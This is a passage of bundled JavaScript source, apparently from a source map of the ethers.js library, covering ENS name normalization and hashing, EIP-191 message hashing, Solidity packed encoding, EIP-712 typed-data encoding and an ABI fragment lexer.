bundle into an nfc token\r\n\t\t\t\t\t\ttokens.splice(start, end - start, {\r\n\t\t\t\t\t\t\ttype: TY_NFC, \r\n\t\t\t\t\t\t\tinput: cps0, // there are 3 states: tokens0 ==(process)=> input ==(nfc)=> tokens/cps\r\n\t\t\t\t\t\t\tcps, \r\n\t\t\t\t\t\t\ttokens0: collapse_valid_tokens(slice),\r\n\t\t\t\t\t\t\ttokens: ens_tokenize(str_from_cps(cps), {nf: false})\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t\ti = start;\r\n\t\t\t\t\t} else { \r\n\t\t\t\t\t\ti = end - 1; // skip to end of slice\r\n\t\t\t\t\t}\r\n\t\t\t\t\tstart = -1; // reset\r\n\t\t\t\t} else {\r\n\t\t\t\t\tstart = i; // remember last\r\n\t\t\t\t}\r\n\t\t\t} else if (token.type !== TY_IGNORED) { // 20221024: is this correct?\r\n\t\t\t\tstart = -1; // reset\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn collapse_valid_tokens(tokens);\r\n}\r\n\r\nfunction is_valid_or_mapped(type) {\r\n\treturn type == TY_VALID || type == TY_MAPPED;\r\n}\r\n\r\nfunction requires_check(cps) {\r\n\treturn cps.some(cp => NFC_CHECK.has(cp));\r\n}\r\n\r\nfunction collapse_valid_tokens(tokens) {\r\n\tfor (let i = 0; i < tokens.length; i++) {\r\n\t\tif (tokens[i].type == TY_VALID) {\r\n\t\t\tlet j = i + 1;\r\n\t\t\twhile (j < tokens.length && tokens[j].type == TY_VALID) j++;\r\n\t\t\ttokens.splice(i, j - i, {type: TY_VALID, cps: tokens.slice(i, j).flatMap(x => x.cps)});\r\n\t\t}\r\n\t}\r\n\treturn tokens;\r\n}\n\nexport { ens_beautify, ens_emoji, ens_normalize, ens_normalize_fragment, ens_split, ens_tokenize, is_combining_mark, nfc, nfd, safe_str_from_cps, should_escape };\n","import { keccak256 } from \"../crypto/index.js\";\nimport { concat, hexlify, assertArgument, toUtf8Bytes } from \"../utils/index.js\";\nimport { ens_normalize } from \"@adraffy/ens-normalize\";\nconst Zeros = new Uint8Array(32);\nZeros.fill(0);\nfunction checkComponent(comp) {\n assertArgument(comp.length !== 0, \"invalid ENS name; empty component\", \"comp\", comp);\n return comp;\n}\nfunction ensNameSplit(name) {\n const bytes = toUtf8Bytes(ensNormalize(name));\n const comps = [];\n if (name.length === 0) {\n return comps;\n }\n let last = 0;\n for (let i = 0; i < bytes.length; i++) {\n const d = bytes[i];\n // A separator (i.e. \".\"); copy this component\n if (d === 0x2e) {\n comps.push(checkComponent(bytes.slice(last, i)));\n last = i + 1;\n }\n }\n // There was a stray separator at the end of the name\n assertArgument(last < bytes.length, \"invalid ENS name; empty component\", \"name\", name);\n comps.push(checkComponent(bytes.slice(last)));\n return comps;\n}\n/**\n * Returns the ENS %%name%% normalized.\n */\nexport function ensNormalize(name) {\n try {\n if (name.length === 0) {\n throw new Error(\"empty label\");\n }\n return ens_normalize(name);\n }\n catch (error) {\n assertArgument(false, `invalid ENS name (${error.message})`, \"name\", name);\n }\n}\n/**\n * Returns ``true`` if %%name%% is a valid ENS name.\n */\nexport function isValidName(name) {\n try {\n return (ensNameSplit(name).length !== 0);\n }\n catch (error) { }\n return false;\n}\n/**\n * Returns the [[link-namehash]] for %%name%%.\n */\nexport function namehash(name) {\n assertArgument(typeof (name) === \"string\", \"invalid ENS name; not a string\", \"name\", name);\n assertArgument(name.length, `invalid ENS name (empty label)`, \"name\", name);\n let result = Zeros;\n const comps = ensNameSplit(name);\n while (comps.length) {\n result = keccak256(concat([result, keccak256((comps.pop()))]));\n }\n return hexlify(result);\n}\n/**\n * Returns the DNS encoded %%name%%.\n *\n * This is used for various parts of ENS name resolution, such\n * as the wildcard resolution.\n */\nexport function dnsEncode(name, _maxLength) {\n const length = (_maxLength != null) ? _maxLength : 63;\n assertArgument(length <= 255, \"DNS encoded label cannot exceed 255\", \"length\", length);\n return hexlify(concat(ensNameSplit(name).map((comp) => {\n assertArgument(comp.length <= length, `label ${JSON.stringify(name)} exceeds ${length} bytes`, \"name\", name);\n const bytes = new Uint8Array(comp.length + 1);\n bytes.set(comp, 1);\n bytes[0] = bytes.length - 1;\n return bytes;\n }))) + \"00\";\n}\n//# sourceMappingURL=namehash.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { MessagePrefix } from \"../constants/index.js\";\nimport { recoverAddress } from \"../transaction/index.js\";\nimport { concat, toUtf8Bytes } from \"../utils/index.js\";\n/**\n * Computes the [[link-eip-191]] personal-sign message digest to sign.\n *\n * This prefixes the message with [[MessagePrefix]] and the decimal length\n * of %%message%% and computes the [[keccak256]] digest.\n *\n * If %%message%% is a string, it is converted to its UTF-8 bytes\n * first. To compute the digest of a [[DataHexString]], it must be converted\n * to [bytes](getBytes).\n *\n * @example:\n * hashMessage(\"Hello World\")\n * //_result:\n *\n * // Hashes the SIX (6) string characters, i.e.\n * // [ \"0\", \"x\", \"4\", \"2\", \"4\", \"3\" ]\n * hashMessage(\"0x4243\")\n * //_result:\n *\n * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]...\n * hashMessage(getBytes(\"0x4243\"))\n * //_result:\n *\n * // ...which is equal to using data\n * hashMessage(new Uint8Array([ 0x42, 0x43 ]))\n * //_result:\n *\n */\nexport function hashMessage(message) {\n if (typeof (message) === \"string\") {\n message = toUtf8Bytes(message);\n }\n return keccak256(concat([\n toUtf8Bytes(MessagePrefix),\n toUtf8Bytes(String(message.length)),\n message\n ]));\n}\n/**\n * Return the address of the private key that produced\n * the signature %%sig%% during signing for %%message%%.\n */\nexport function verifyMessage(message, sig) {\n const digest = hashMessage(message);\n return recoverAddress(digest, sig);\n}\n//# sourceMappingURL=message.js.map","import { getAddress } from \"../address/index.js\";\nimport { keccak256 as _keccak256, sha256 as _sha256 } from \"../crypto/index.js\";\nimport { concat, dataLength, getBytes, hexlify, toBeArray, toTwos, toUtf8Bytes, zeroPadBytes, zeroPadValue, assertArgument } from \"../utils/index.js\";\nconst regexBytes = new RegExp(\"^bytes([0-9]+)$\");\nconst regexNumber = new RegExp(\"^(u?int)([0-9]*)$\");\nconst regexArray = new RegExp(\"^(.*)\\\\[([0-9]*)\\\\]$\");\nfunction _pack(type, value, isArray) {\n switch (type) {\n case \"address\":\n if (isArray) {\n return getBytes(zeroPadValue(value, 32));\n }\n return getBytes(getAddress(value));\n case \"string\":\n return toUtf8Bytes(value);\n case \"bytes\":\n return getBytes(value);\n case \"bool\":\n value = (!!value ? \"0x01\" : \"0x00\");\n if (isArray) {\n return getBytes(zeroPadValue(value, 32));\n }\n return getBytes(value);\n }\n let match = type.match(regexNumber);\n if (match) {\n let signed = (match[1] === \"int\");\n let size = parseInt(match[2] || \"256\");\n assertArgument((!match[2] || match[2] === String(size)) && (size % 8 === 0) && size !== 0 && size <= 256, \"invalid number type\", \"type\", type);\n if (isArray) {\n size = 256;\n }\n if (signed) {\n value = toTwos(value, size);\n }\n return getBytes(zeroPadValue(toBeArray(value), size / 8));\n }\n match = type.match(regexBytes);\n if (match) {\n const size = parseInt(match[1]);\n assertArgument(String(size) === match[1] && size !== 0 && size <= 32, \"invalid bytes type\", \"type\", type);\n assertArgument(dataLength(value) === size, `invalid value for ${type}`, \"value\", value);\n if (isArray) {\n return getBytes(zeroPadBytes(value, 32));\n }\n return value;\n }\n match = type.match(regexArray);\n if (match && Array.isArray(value)) {\n const baseType = match[1];\n const count = parseInt(match[2] || String(value.length));\n assertArgument(count === value.length, `invalid array length for ${type}`, \"value\", value);\n const result = [];\n value.forEach(function (value) {\n result.push(_pack(baseType, value, true));\n });\n return getBytes(concat(result));\n }\n assertArgument(false, \"invalid type\", \"type\", type);\n}\n// @TODO: Array Enum\n/**\n * Computes the [[link-solc-packed]] representation of %%values%%\n * respectively to their %%types%%.\n *\n * @example:\n * addr = \"0x8ba1f109551bd432803012645ac136ddd64dba72\"\n * solidityPacked([ \"address\", \"uint\" ], [ addr, 45 ]);\n * //_result:\n */\nexport function solidityPacked(types, values) {\n assertArgument(types.length === values.length, \"wrong number of values; expected ${ types.length }\", \"values\", values);\n const tight = [];\n types.forEach(function (type, index) {\n tight.push(_pack(type, values[index]));\n });\n return hexlify(concat(tight));\n}\n/**\n * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%%\n * respectively to their %%types%%.\n *\n * @example:\n * addr = \"0x8ba1f109551bd432803012645ac136ddd64dba72\"\n * solidityPackedKeccak256([ \"address\", \"uint\" ], [ addr, 45 ]);\n * //_result:\n */\nexport function solidityPackedKeccak256(types, values) {\n return _keccak256(solidityPacked(types, values));\n}\n/**\n * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%%\n * respectively to their %%types%%.\n *\n * @example:\n * addr = \"0x8ba1f109551bd432803012645ac136ddd64dba72\"\n * solidityPackedSha256([ \"address\", \"uint\" ], [ addr, 45 ]);\n * //_result:\n */\nexport function solidityPackedSha256(types, values) {\n return _sha256(solidityPacked(types, values));\n}\n//# sourceMappingURL=solidity.js.map","//import { TypedDataDomain, TypedDataField } from \"@ethersproject/providerabstract-signer\";\nimport { getAddress } from \"../address/index.js\";\nimport { keccak256 } from \"../crypto/index.js\";\nimport { recoverAddress } from \"../transaction/index.js\";\nimport { concat, defineProperties, getBigInt, getBytes, hexlify, isHexString, mask, toBeHex, toQuantity, toTwos, zeroPadValue, assertArgument } from \"../utils/index.js\";\nimport { id } from \"./id.js\";\nconst padding = new Uint8Array(32);\npadding.fill(0);\nconst BN__1 = BigInt(-1);\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_MAX_UINT256 = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n;\n;\nfunction hexPadRight(value) {\n const bytes = getBytes(value);\n const padOffset = bytes.length % 32;\n if (padOffset) {\n return concat([bytes, padding.slice(padOffset)]);\n }\n return hexlify(bytes);\n}\nconst hexTrue = toBeHex(BN_1, 32);\nconst hexFalse = toBeHex(BN_0, 32);\nconst domainFieldTypes = {\n name: \"string\",\n version: \"string\",\n chainId: \"uint256\",\n verifyingContract: \"address\",\n salt: \"bytes32\"\n};\nconst domainFieldNames = [\n \"name\", \"version\", \"chainId\", \"verifyingContract\", \"salt\"\n];\nfunction checkString(key) {\n return function (value) {\n assertArgument(typeof (value) === \"string\", `invalid domain value for ${JSON.stringify(key)}`, `domain.${key}`, value);\n return value;\n };\n}\nconst domainChecks = {\n name: checkString(\"name\"),\n version: checkString(\"version\"),\n chainId: function (_value) {\n const value = getBigInt(_value, \"domain.chainId\");\n assertArgument(value >= 0, \"invalid chain ID\", \"domain.chainId\", _value);\n if (Number.isSafeInteger(value)) {\n return Number(value);\n }\n return toQuantity(value);\n },\n verifyingContract: function (value) {\n try {\n return getAddress(value).toLowerCase();\n }\n catch (error) { }\n assertArgument(false, `invalid domain value \"verifyingContract\"`, \"domain.verifyingContract\", value);\n },\n salt: function (value) {\n const bytes = getBytes(value, \"domain.salt\");\n assertArgument(bytes.length === 32, `invalid domain value \"salt\"`, \"domain.salt\", value);\n return hexlify(bytes);\n }\n};\nfunction getBaseEncoder(type) {\n // intXX and uintXX\n {\n const match = type.match(/^(u?)int(\\d+)$/);\n if (match) {\n const signed = (match[1] === \"\");\n const width = parseInt(match[2]);\n assertArgument(width % 8 === 0 && width !== 0 && width <= 256 && match[2] === String(width), \"invalid numeric width\", \"type\", type);\n const boundsUpper = mask(BN_MAX_UINT256, signed ? (width - 1) : width);\n const boundsLower = signed ? ((boundsUpper + BN_1) * BN__1) : BN_0;\n return function (_value) {\n const value = getBigInt(_value, \"value\");\n assertArgument(value >= boundsLower && value <= boundsUpper, `value out-of-bounds for ${type}`, \"value\", value);\n return toBeHex(signed ? toTwos(value, 256) : value, 32);\n };\n }\n }\n // bytesXX\n {\n const match = type.match(/^bytes(\\d+)$/);\n if (match) {\n const width = parseInt(match[1]);\n assertArgument(width !== 0 && width <= 32 && match[1] === String(width), \"invalid bytes width\", \"type\", type);\n return function (value) {\n const bytes = getBytes(value);\n assertArgument(bytes.length === width, `invalid length for ${type}`, \"value\", value);\n return hexPadRight(value);\n };\n }\n }\n switch (type) {\n case \"address\": return function (value) {\n return zeroPadValue(getAddress(value), 32);\n };\n case \"bool\": return function (value) {\n return ((!value) ? hexFalse : hexTrue);\n };\n case \"bytes\": return function (value) {\n return keccak256(value);\n };\n case \"string\": return function (value) {\n return id(value);\n };\n }\n return null;\n}\nfunction encodeType(name, fields) {\n return `${name}(${fields.map(({ name, type }) => (type + \" \" + name)).join(\",\")})`;\n}\n// foo[][3] => { base: \"foo\", index: \"[][3]\", array: {\n// base: \"foo\", prefix: \"foo[]\", count: 3 } }\nfunction splitArray(type) {\n const match = type.match(/^([^\\x5b]*)((\\x5b\\d*\\x5d)*)(\\x5b(\\d*)\\x5d)$/);\n if (match) {\n return {\n base: match[1],\n index: (match[2] + match[4]),\n array: {\n base: match[1],\n prefix: (match[1] + match[2]),\n count: (match[5] ? parseInt(match[5]) : -1),\n }\n };\n }\n return { base: type };\n}\n/**\n * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads\n * for signed typed data.\n *\n * This is useful for those that wish to compute various components of a\n * typed data hash, primary types, or sub-components, but generally the\n * higher level [[Signer-signTypedData]] is more useful.\n */\nexport class TypedDataEncoder {\n /**\n * The primary type for the structured [[types]].\n *\n * This is derived automatically from the [[types]], since no\n * recursion is possible, once the DAG for the types is consturcted\n * internally, the primary type must be the only remaining type with\n * no parent nodes.\n */\n primaryType;\n #types;\n /**\n * The types.\n */\n get types() {\n return JSON.parse(this.#types);\n }\n #fullTypes;\n #encoderCache;\n /**\n * Create a new **TypedDataEncoder** for %%types%%.\n *\n * This performs all necessary checking that types are valid and\n * do not violate the [[link-eip-712]] structural constraints as\n * well as computes the [[primaryType]].\n */\n constructor(_types) {\n this.#fullTypes = new Map();\n this.#encoderCache = new Map();\n // Link struct types to their direct child structs\n const links = new Map();\n // Link structs to structs which contain them as a child\n const parents = new Map();\n // Link all subtypes within a given struct\n const subtypes = new Map();\n const types = {};\n Object.keys(_types).forEach((type) => {\n types[type] = _types[type].map(({ name, type }) => {\n // Normalize the base type (unless name conflict)\n let { base, index } = splitArray(type);\n if (base === \"int\" && !_types[\"int\"]) {\n base = \"int256\";\n }\n if (base === \"uint\" && !_types[\"uint\"]) {\n base = \"uint256\";\n }\n return { name, type: (base + (index || \"\")) };\n });\n links.set(type, new Set());\n parents.set(type, []);\n subtypes.set(type, new Set());\n });\n this.#types = JSON.stringify(types);\n for (const name in types) {\n const uniqueNames = new Set();\n for (const field of types[name]) {\n // Check each field has a unique name\n assertArgument(!uniqueNames.has(field.name), `duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, \"types\", _types);\n uniqueNames.add(field.name);\n // Get the base type (drop any array specifiers)\n const baseType = splitArray(field.type).base;\n assertArgument(baseType !== name, `circular type reference to ${JSON.stringify(baseType)}`, \"types\", _types);\n // Is this a base encoding type?\n const encoder = getBaseEncoder(baseType);\n if (encoder) {\n continue;\n }\n assertArgument(parents.has(baseType), `unknown type ${JSON.stringify(baseType)}`, \"types\", _types);\n // Add linkage\n parents.get(baseType).push(name);\n links.get(name).add(baseType);\n }\n }\n // Deduce the primary type\n const primaryTypes = Array.from(parents.keys()).filter((n) => (parents.get(n).length === 0));\n assertArgument(primaryTypes.length !== 0, \"missing primary type\", \"types\", _types);\n assertArgument(primaryTypes.length === 1, `ambiguous primary types or unused types: ${primaryTypes.map((t) => (JSON.stringify(t))).join(\", \")}`, \"types\", _types);\n defineProperties(this, { primaryType: primaryTypes[0] });\n // Check for circular type references\n function checkCircular(type, found) {\n assertArgument(!found.has(type), `circular type reference to ${JSON.stringify(type)}`, \"types\", _types);\n found.add(type);\n for (const child of links.get(type)) {\n if (!parents.has(child)) {\n continue;\n }\n // Recursively check children\n checkCircular(child, found);\n // Mark all ancestors as having this decendant\n for (const subtype of found) {\n subtypes.get(subtype).add(child);\n }\n }\n found.delete(type);\n }\n checkCircular(this.primaryType, new Set());\n // Compute each fully describe type\n for (const [name, set] of subtypes) {\n const st = Array.from(set);\n st.sort();\n this.#fullTypes.set(name, encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join(\"\"));\n }\n }\n /**\n * Returnthe encoder for the specific %%type%%.\n */\n getEncoder(type) {\n let encoder = this.#encoderCache.get(type);\n if (!encoder) {\n encoder = this.#getEncoder(type);\n this.#encoderCache.set(type, encoder);\n }\n return encoder;\n }\n #getEncoder(type) {\n // Basic encoder type (address, bool, uint256, etc)\n {\n const encoder = getBaseEncoder(type);\n if (encoder) {\n return encoder;\n }\n }\n // Array\n const array = splitArray(type).array;\n if (array) {\n const subtype = array.prefix;\n const subEncoder = this.getEncoder(subtype);\n return (value) => {\n assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, \"value\", value);\n let result = value.map(subEncoder);\n if (this.#fullTypes.has(subtype)) {\n result = result.map(keccak256);\n }\n return keccak256(concat(result));\n };\n }\n // Struct\n const fields = this.types[type];\n if (fields) {\n const encodedType = id(this.#fullTypes.get(type));\n return (value) => {\n const values = fields.map(({ name, type }) => {\n const result = this.getEncoder(type)(value[name]);\n if (this.#fullTypes.has(type)) {\n return keccak256(result);\n }\n return result;\n });\n values.unshift(encodedType);\n return concat(values);\n };\n }\n assertArgument(false, `unknown type: ${type}`, \"type\", type);\n }\n /**\n * Return the full type for %%name%%.\n */\n encodeType(name) {\n const result = this.#fullTypes.get(name);\n assertArgument(result, `unknown type: ${JSON.stringify(name)}`, \"name\", name);\n return result;\n }\n /**\n * Return the encoded %%value%% for the %%type%%.\n */\n encodeData(type, value) {\n return this.getEncoder(type)(value);\n }\n /**\n * Returns the hash of %%value%% for the type of %%name%%.\n */\n hashStruct(name, value) {\n return keccak256(this.encodeData(name, value));\n }\n /**\n * Return the fulled encoded %%value%% for the [[types]].\n */\n encode(value) {\n return this.encodeData(this.primaryType, value);\n }\n /**\n * Return the hash of the fully encoded %%value%% for the [[types]].\n */\n hash(value) {\n return this.hashStruct(this.primaryType, value);\n }\n /**\n * @_ignore:\n */\n _visit(type, value, callback) {\n // Basic encoder type (address, bool, uint256, etc)\n {\n const encoder = getBaseEncoder(type);\n if (encoder) {\n return callback(type, value);\n }\n }\n // Array\n const array = splitArray(type).array;\n if (array) {\n assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, \"value\", value);\n return value.map((v) => this._visit(array.prefix, v, callback));\n }\n // Struct\n const fields = this.types[type];\n if (fields) {\n return fields.reduce((accum, { name, type }) => {\n accum[name] = this._visit(type, value[name], callback);\n return accum;\n }, {});\n }\n assertArgument(false, `unknown type: ${type}`, \"type\", type);\n }\n /**\n * Call %%calback%% for each value in %%value%%, passing the type and\n * component within %%value%%.\n *\n * This is useful for replacing addresses or other transformation that\n * may be desired on each component, based on its type.\n */\n visit(value, callback) {\n return this._visit(this.primaryType, value, callback);\n }\n /**\n * Create a new **TypedDataEncoder** for %%types%%.\n */\n static from(types) {\n return new TypedDataEncoder(types);\n }\n /**\n * Return the primary type for %%types%%.\n */\n static getPrimaryType(types) {\n return TypedDataEncoder.from(types).primaryType;\n }\n /**\n * Return the hashed struct for %%value%% using %%types%% and %%name%%.\n */\n static hashStruct(name, types, value) {\n return TypedDataEncoder.from(types).hashStruct(name, value);\n }\n /**\n * Return the domain hash for %%domain%%.\n */\n static hashDomain(domain) {\n const domainFields = [];\n for (const name in domain) {\n if (domain[name] == null) {\n continue;\n }\n const type = domainFieldTypes[name];\n assertArgument(type, `invalid typed-data domain key: ${JSON.stringify(name)}`, \"domain\", domain);\n domainFields.push({ name, type });\n }\n domainFields.sort((a, b) => {\n return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name);\n });\n return TypedDataEncoder.hashStruct(\"EIP712Domain\", { EIP712Domain: domainFields }, domain);\n }\n /**\n * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%.\n */\n static encode(domain, types, value) {\n return concat([\n \"0x1901\",\n TypedDataEncoder.hashDomain(domain),\n TypedDataEncoder.from(types).hash(value)\n ]);\n }\n /**\n * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%.\n */\n static hash(domain, types, value) {\n return keccak256(TypedDataEncoder.encode(domain, types, value));\n }\n // Replaces all address types with ENS names with their looked up address\n /**\n * Resolves to the value from resolving all addresses in %%value%% for\n * %%types%% and the %%domain%%.\n */\n static async resolveNames(domain, types, value, resolveName) {\n // Make a copy to isolate it from the object passed in\n domain = Object.assign({}, domain);\n // Allow passing null to ignore value\n for (const key in domain) {\n if (domain[key] == null) {\n delete domain[key];\n }\n }\n // Look up all ENS names\n const ensCache = {};\n // Do we need to look up the domain's verifyingContract?\n if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) {\n ensCache[domain.verifyingContract] = \"0x\";\n }\n // We are going to use the encoder to visit all the base values\n const encoder = TypedDataEncoder.from(types);\n // Get a list of all the addresses\n encoder.visit(value, (type, value) => {\n if (type === \"address\" && !isHexString(value, 20)) {\n ensCache[value] = \"0x\";\n }\n return value;\n });\n // Lookup each name\n for (const name in ensCache) {\n ensCache[name] = await resolveName(name);\n }\n // Replace the domain verifyingContract if needed\n if (domain.verifyingContract && ensCache[domain.verifyingContract]) {\n domain.verifyingContract = ensCache[domain.verifyingContract];\n }\n // Replace all ENS names with their address\n value = encoder.visit(value, (type, value) => {\n if (type === \"address\" && ensCache[value]) {\n return ensCache[value];\n }\n return value;\n });\n return { domain, value };\n }\n /**\n * Returns the JSON-encoded payload expected by nodes which implement\n * the JSON-RPC [[link-eip-712]] method.\n */\n static getPayload(domain, types, value) {\n // Validate the domain fields\n TypedDataEncoder.hashDomain(domain);\n // Derive the EIP712Domain Struct reference type\n const domainValues = {};\n const domainTypes = [];\n domainFieldNames.forEach((name) => {\n const value = domain[name];\n if (value == null) {\n return;\n }\n domainValues[name] = domainChecks[name](value);\n domainTypes.push({ name, type: domainFieldTypes[name] });\n });\n const encoder = TypedDataEncoder.from(types);\n // Get the normalized types\n types = encoder.types;\n const typesWithDomain = Object.assign({}, types);\n assertArgument(typesWithDomain.EIP712Domain == null, \"types must not contain EIP712Domain type\", \"types.EIP712Domain\", types);\n typesWithDomain.EIP712Domain = domainTypes;\n // Validate the data structures and types\n encoder.encode(value);\n return {\n types: typesWithDomain,\n domain: domainValues,\n primaryType: encoder.primaryType,\n message: encoder.visit(value, (type, value) => {\n // bytes\n if (type.match(/^bytes(\\d*)/)) {\n return hexlify(getBytes(value));\n }\n // uint or int\n if (type.match(/^u?int/)) {\n return getBigInt(value).toString();\n }\n switch (type) {\n case \"address\":\n return value.toLowerCase();\n case \"bool\":\n return !!value;\n case \"string\":\n assertArgument(typeof (value) === \"string\", \"invalid string\", \"value\", value);\n return value;\n }\n assertArgument(false, \"unsupported type\", \"type\", type);\n })\n };\n }\n}\n/**\n * Compute the address used to sign the typed data for the %%signature%%.\n */\nexport function verifyTypedData(domain, types, value, signature) {\n return recoverAddress(TypedDataEncoder.hash(domain, types, value), signature);\n}\n//# sourceMappingURL=typed-data.js.map","/**\n * A fragment is a single item from an ABI, which may represent any of:\n *\n * - [Functions](FunctionFragment)\n * - [Events](EventFragment)\n * - [Constructors](ConstructorFragment)\n * - Custom [Errors](ErrorFragment)\n * - [Fallback or Receive](FallbackFragment) functions\n *\n * @_subsection api/abi/abi-coder:Fragments [about-fragments]\n */\nimport { defineProperties, getBigInt, getNumber, assert, assertPrivate, assertArgument } from \"../utils/index.js\";\nimport { id } from \"../hash/index.js\";\n;\n// [ \"a\", \"b\" ] => { \"a\": 1, \"b\": 1 }\nfunction setify(items) {\n const result = new Set();\n items.forEach((k) => result.add(k));\n return Object.freeze(result);\n}\nconst _kwVisibDeploy = \"external public payable override\";\nconst KwVisibDeploy = setify(_kwVisibDeploy.split(\" \"));\n// Visibility Keywords\nconst _kwVisib = \"constant external internal payable private public pure view override\";\nconst KwVisib = setify(_kwVisib.split(\" \"));\nconst _kwTypes = \"constructor error event fallback function receive struct\";\nconst KwTypes = setify(_kwTypes.split(\" \"));\nconst _kwModifiers = \"calldata memory storage payable indexed\";\nconst KwModifiers = setify(_kwModifiers.split(\" \"));\nconst _kwOther = \"tuple returns\";\n// All Keywords\nconst _keywords = [_kwTypes, _kwModifiers, _kwOther, _kwVisib].join(\" \");\nconst Keywords = setify(_keywords.split(\" \"));\n// Single character tokens\nconst SimpleTokens = {\n \"(\": \"OPEN_PAREN\", \")\": \"CLOSE_PAREN\",\n \"[\": \"OPEN_BRACKET\", \"]\": \"CLOSE_BRACKET\",\n \",\": \"COMMA\", \"@\": \"AT\"\n};\n// Parser regexes to consume the next token\nconst regexWhitespacePrefix = new RegExp(\"^(\\\\s*)\");\nconst regexNumberPrefix = new RegExp(\"^([0-9]+)\");\nconst regexIdPrefix = new RegExp(\"^([a-zA-Z$_][a-zA-Z0-9$_]*)\");\n// Parser regexs to check validity\nconst regexId = new RegExp(\"^([a-zA-Z$_][a-zA-Z0-9$_]*)$\");\nconst regexType = new RegExp(\"^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$\");\nclass TokenString {\n #offset;\n #tokens;\n get offset() { return this.#offset; }\n get length() { return this.#tokens.length - this.#offset; }\n constructor(tokens) {\n this.#offset = 0;\n this.#tokens = tokens.slice();\n }\n clone() { return new TokenString(this.#tokens); }\n reset() { this.#offset = 0; }\n #subTokenString(from = 0, to = 0) {\n return new TokenString(this.#tokens.slice(from, to).map((t) => {\n return Object.freeze(Object.assign({}, t, {\n match: (t.match - from),\n linkBack: (t.linkBack - from),\n linkNext: (t.linkNext - from),\n }));\n }));\n }\n // Pops and returns the value of the next token, if it is a keyword in allowed; throws if out of tokens\n popKeyword(allowed) {\n const top = this.peek();\n if (top.type !== \"KEYWORD\" || !allowed.has(top.text)) {\n throw new Error(`expected keyword ${top.text}`);\n }\n return this.pop().text;\n }\n // Pops and returns the value of the next token if it is `type`; throws if out of tokens\n popType(type) {\n if (this.peek().type !== type) {\n const top = this.peek();\n throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`);\n }\n return this.pop().text;\n }\n // Pops and returns a \"(\" TOKENS \")\"\n popParen() {\n const top = this.peek();\n if (top.type !== \"OPEN_PAREN\") {\n throw new Error(\"bad start\");\n }\n const result = this.#subTokenString(this.#offset + 1, top.match + 1);\n this.#offset = top.match + 1;\n return result;\n }\n // Pops and returns the items within \"(\" ITEM1 \",\" ITEM2 \",\" ... \")\"\n popParams() {\n const top = this.peek();\n if (top.type !== \"OPEN_PAREN\") {\n throw new Error(\"bad start\");\n }\n const result = [];\n while (this.#offset < top.match - 1) {\n const link = this.peek().linkNext;\n result.push(this.#subTokenString(this.#offset + 1, link));\n this.#offset = link;\n }\n this.#offset = top.match + 1;\n return result;\n }\n // Returns the top Token, throwing if out of tokens\n peek() {\n if (this.#offset >= this.#tokens.length) {\n throw new Error(\"out-of-bounds\");\n }\n return this.#tokens[this.#offset];\n }\n // Returns the next value, if it is a keyword in `allowed`\n peekKeyword(allowed) {\n const top = this.peekType(\"KEYWORD\");\n return (top != null && allowed.has(top)) ? top : null;\n }\n // Returns the value of the next token if it is `type`\n peekType(type) {\n if (this.length === 0) {\n return null;\n }\n const top = this.peek();\n return (top.type === type) ? top.text : null;\n }\n // Returns the next token; throws if out of tokens\n pop() {\n const result = this.peek();\n this.#offset++;\n return result;\n }\n toString() {\n const tokens = [];\n for (let i = this.#offset; i < this.#tokens.length; i++) {\n const token = this.#tokens[i];\n tokens.push(`${token.type}:${token.text}`);\n }\n return ``;\n }\n}\nfunction lex(text) {\n const tokens = [];\n const throwError = (message) => {\n const token = (offset < text.length) ? JSON.stringify(text[offset]) : \"$EOI\";\n throw new Error(`invalid token ${token} at ${offset}: ${message}`);\n };\n let brackets = [];\n let commas = [];\n let offset = 0;\n while (offset < text.length) {\n // Strip off any leading whitespace\n let cur = text.substring(offset);\n let match = cur.match(regexWhitespacePrefix);\n if (match) {\n offset += match[1].length;\n cur = text.substring(offset);\n }\n const token = { depth: brackets.length, linkBack: -1, linkNext: -1, match: -1, type: \"\", text: \"\", offset, value: -1 };\n tokens.push(token);\n let type = (SimpleTokens[cur[0]] || \"\");\n if (type) {\n token.type = type;\n token.text = cur[0];\n offset++;\n if (type === \"OPEN_PAREN\") {\n brackets.push(tokens.length - 1);\n commas.push(tokens.length - 1);\n }\n else if (type == \"CLOSE_PAREN\") {\n if (brackets.length === 0) {\n throwError(\"no matching open bracket\");\n }\n token.match = brackets.pop();\n (tokens[token.match]).match = tokens.length - 1;\n token.depth--;\n token.linkBack = commas.pop();\n (tokens[token.linkBack]).linkNext = tokens.length - 1;\n }\n else if (type === \"COMMA\") {\n token.linkBack = commas.pop();\n (tokens[token.linkBack]).linkNext = tokens.length - 1;\n commas.push(tokens.length - 1);\n }\n else if (type === \"OPEN_BRACKET\") {\n token.type = \"BRACKET\";\n }\n else if (type === \"CLOSE_BRACKET\") {\n // Remove the CLOSE_BRACKET\n let suffix = tokens.pop().text;\n if (tokens.length > 0 && tokens[tokens.length - 1].type === \"NUMBER\") {\n const value = tokens.pop().text;\n suffix = value + suffix;\n (tokens[tokens.length - 1]).value = getNumber(value);\n }\n if (tokens.length === 0 || tokens[tokens.length - 1].type !== \"BRACKET\") {\n throw new Error(\"missing opening bracket\");\n }\n (tokens[tokens.length - 1]).text += suffix;\n }\n continue;\n }\n match = cur.match(regexIdPrefix);\n if (match) {\n token.text = match[1];\n offset += token.text.length;\n if (Keywords.has(token.text)) {\n token.type = \"KEYWORD\";\n continue;\n }\n if (token.text.match(regexType)) {\n token.type = \"TYPE\";\n 